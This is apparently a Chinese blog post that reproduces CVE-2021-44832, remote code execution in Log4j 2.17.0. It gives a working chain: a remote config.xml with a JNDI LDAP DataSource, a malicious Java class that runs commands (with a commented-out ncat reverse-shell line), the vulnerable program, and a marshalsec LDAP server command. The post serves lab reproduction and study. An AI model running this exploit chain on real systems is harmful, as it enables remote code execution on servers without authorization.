前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Log4j_2.17.0_RCE复现-CVE-2021-44832

Log4j_2.17.0_RCE复现-CVE-2021-44832

作者头像
UzJu@菜菜狗
发布于 2022-04-25 13:00:35
发布于 2022-04-25 13:00:35
47900
代码可运行
举报
文章被收录于专栏:UzJu和菜菜狗UzJu和菜菜狗
运行总次数:0
代码可运行

0x00 漏洞复现

还是使用Github上大佬的环境

https://github.com/tangxiaofeng7/apache-log4j-poc 不过这个好像已经删掉了:),还好之前本地存了

然后需要改一些配置文件,然后还有一个远程的config.xml

首先是新建一个远程的的config.xml

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
            <Column name="eventDate" isEventTimestamp="true" />
            <Column name="level" pattern="%level" />
            <Column name="logger" pattern="%logger" />
            <Column name="message" pattern="%message" />
            <Column name="exception" pattern="%ex{full}" />
        </JDBC>
    </Appenders>
    <Loggers>
        <Root level="warn">
            <AppenderRef ref="databaseAppender"/>
        </Root>
    </Loggers>
</Configuration>

随后需要一个恶意类

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public class Exploit{
    static{
        System.err.println("Pwned");
        try{
            //            String[] cmd = {"ncat", "-e", "/bin/bash", "", "1234"};
            String[] cmd = {"open", "-a", "/System/Applications/Calculator.app"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

然后Java编译成class,现在就可以在config和这个恶意类同目录下开启简单的Python http服务

  1. python3 -m http.server

随后需要修改一下代码,如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.*;
public class log4j {
    public static void main(String[] args) {
        System.setProperty("log4j2.configurationFile", "http://127.0.0.1:8888/config.xml");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        final Logger logger = LogManager.getLogger(log4j.class);
        Scanner sc = new Scanner(System.in);
        String str;
        while(true){
            str = sc.nextLine();
            logger.error(str);
        }
    }
}

然后开启marshalsec

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -cp marshalsec-0.0.-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" 

随后直接运行即可

0x01 参考与原理

1、https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Log4j-JNDI注入RCE
漏洞简介 影响版本 Apache Log4j 2.14.1 Apache Log4j Security Vulnerabilities log4shell - Quick Guide 漏洞利用 Log4j 2.14.1 - RCE CVE-2021-44228 POC ${jndi:ldap://xxx.dnslog.cn/exp} # Bypass ${j${lower:n}di:l${lower:d}ap://xxx.dnslog.cn/exp} RCE 首先Netcat监听端口 $ nc -lvn
Naraku
2022/02/24
1.9K0
Log4j-JNDI注入RCE
冰河连夜复现了Log4j最新史诗级重大漏洞,含视频和完整案例代码,全网最全!!
周末与一些小伙伴交流的过程当中,发现一些小伙伴公司的项目中使用的Log4j版本还是2.14.0,我一听就有点震惊了:你们还在使用Log4j的2.14.0版本,这个版本存在重大漏洞啊!
冰河
2022/06/15
1.1K0
冰河连夜复现了Log4j最新史诗级重大漏洞,含视频和完整案例代码,全网最全!!
浅谈Log4j2信息泄露与不出网回显
本文核心是探讨:由于各种情况(RASP和SecurityManager等)导致无法RCE时候如何利用Log4j2
亿人安全
2022/06/30
3.1K0
浅谈Log4j2信息泄露与不出网回显
【漏洞复现】Apache Log4j 漏洞利用分析
引用了版本处于2.x < 2.15.0-rc2的 Apache log4j-core的应用项目或组件
李鹏华
2024/03/12
3300
【漏洞复现】Apache Log4j 漏洞利用分析
log4j代码注入漏洞复现
前些天log4j官方宣布的log4j的漏洞闹得沸沸扬扬,各个公司加班升级修复,我们也在周末要求验证版本保证不受影响,既然知道了漏洞,我们就复现一下,比如让被注入文件的电脑关个机
余生大大
2022/11/02
5480
log4j代码注入漏洞复现
浅析Log4j2Rce
先调用logIfEnabled函数判断当前事件类型的优先级,如果优先级不够就不会进行之后的代码操作
ConsT27
2022/03/02
1.2K0
浅析Log4j2Rce
Log4j2 RCE分析
进入到error函数后首先会调用logIfEnabled,在该函数中首先会调用isEnabled判断是否要进行日志记录(具体细节后面会讲)。如果满足一定条件则调用logMessage进行下一步操作。
黑伞安全
2021/12/13
1.3K0
Log4j2 RCE分析
带你深入Java Log框架,彻底搞懂Log4J、Log4J2、LogBack,SLF4J
使用过Log4J和LogBack的同学肯定能发现,这两个框架的设计理念极为相似,使用方法也如出一辙。其实这个两个框架的作者都是一个人,Ceki Gülcü,俄罗斯程序员。
码老思
2023/10/19
4.6K0
带你深入Java Log框架,彻底搞懂Log4J、Log4J2、LogBack,SLF4J
Log4j2RCE复现
推荐使用https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce进行搭建,方便快捷
UzJu@菜菜狗
2022/04/25
4710
Log4j2RCE复现
ELK系列(1) - Elasticsearch + Logstash + Kibana + Log4j2快速入门与搭建用例
最近公司分了个ELK相关的任务给我,在一边学习一边工作之余,总结下这些天来的学习历程和踩坑记录。
雨临Lewis
2022/01/12
5510
动态设置 log4j2 日志的级别不能落
上篇[ SpringBoot 动态设置 logback 日志的级别 ] 说了 logback 动态设置日志级别。这篇来说下 log4j2 日志框架结合 SpringBoot 动态设置日志级别。因为 log4j2 日志框架也有非常多的公司采用,毕竟 logback 和 log4j2 是现在用的最多的两个日志框架。都不能落对吧。
BUG弄潮儿
2021/05/17
2K0
动态设置 log4j2 日志的级别不能落
快速了解常用日志技术(JCL、Slf4j、JUL、Log4j、Logback、Log4j2)
JUL全称Java util Logging是java原生的日志框架,使用时不需要另外引用第三方类库,相对其他日志框架使用方便,学习简单,能够在小型应用中灵活使用。
ha_lydms
2023/08/09
1.4K0
快速了解常用日志技术(JCL、Slf4j、JUL、Log4j、Logback、Log4j2)
Log4j 漏洞修复和临时补救方法
在这里面我们可以看到使用${}可以实现漏洞的注入,假设username为用户登录的输入框,即可从这个输入框进行注入,既可查看到一些后台系统信息,如果有黑客在使用JNDI编写恶意代码注入的话,后果是非常严重的。
FHAdmin
2021/12/14
1.3K0
Log4j2 进阶使用
在复杂的项目中,可能有一些约定的属性比如项目名称、配置文件路径等等。这些属性可能会在多个日志的配置中用到。这样就可以将这些属性配置到Log4j2的配置文件中,方便在多个Logger中共享。
BUG弄潮儿
2022/06/30
4450
Log4j2 进阶使用
跟踪一下log4j2的安全漏洞
开源项目不易,功能少了推广不动(很有意思的时,这次的安全问题大多数人都不知道日志框架有这功能…),功能多了容易出bug;充分考虑扩展性的同时容易误触碰到一些严重安全问题 难呀!!!
eeaters
2021/12/13
6190
跟踪一下log4j2的安全漏洞
log4j 1.x到2.x迁移指南
本页介绍如何迁移当前使用 Log4j 1.x API 的应用程序或库,以使用 Log4j v2 作为其主要日志框架。
从大数据到人工智能
2022/06/15
2.3K0
log4j 1.x到2.x迁移指南
Log4j2-Log4j 2介绍及使用
Log4j的1.x版本已经被广泛使用于很多应用程序中。然而,它这些年的发展已经放缓。它变得越来越难以维护,因为它需要严格遵循很老的Java版本,并在2015年8月寿终正寝。它的替代品,SLF4J和Logback对框架做了很多必要的改进。
小小工匠
2021/08/16
8410
Log4j2 Demos(基础/时间&大小回滚/定期删除/日志脱敏)「建议收藏」
本文所用的Demo皆可在我的git项目 https://github.com/SeanYanxml/log4j-demos 内找到。(如果觉得项目写的不错,不妨给我一个star)
全栈程序员站长
2022/08/23
1.1K0
CVE-2021-45046 log4j2-RCE-复现篇
12月9号就看到了关于log4j2-DOS漏洞相关的研究思路文章,可惜比较忙没有时间搞一下
枪哥四海为家
2021/12/23
3.7K1
CVE-2021-45046 log4j2-RCE-复现篇
Log4j2史诗级漏洞导致JNDI注入问题探析
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中,比如在用户登录的时候打印一些异常信息,如xxx密码输入错误超过5次,账号被锁定;xxx账号已被锁定;xxx账号频繁异地登录。
翎野君
2023/05/12
5640
Log4j2史诗级漏洞导致JNDI注入问题探析
推荐阅读
相关推荐
Log4j-JNDI注入RCE
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验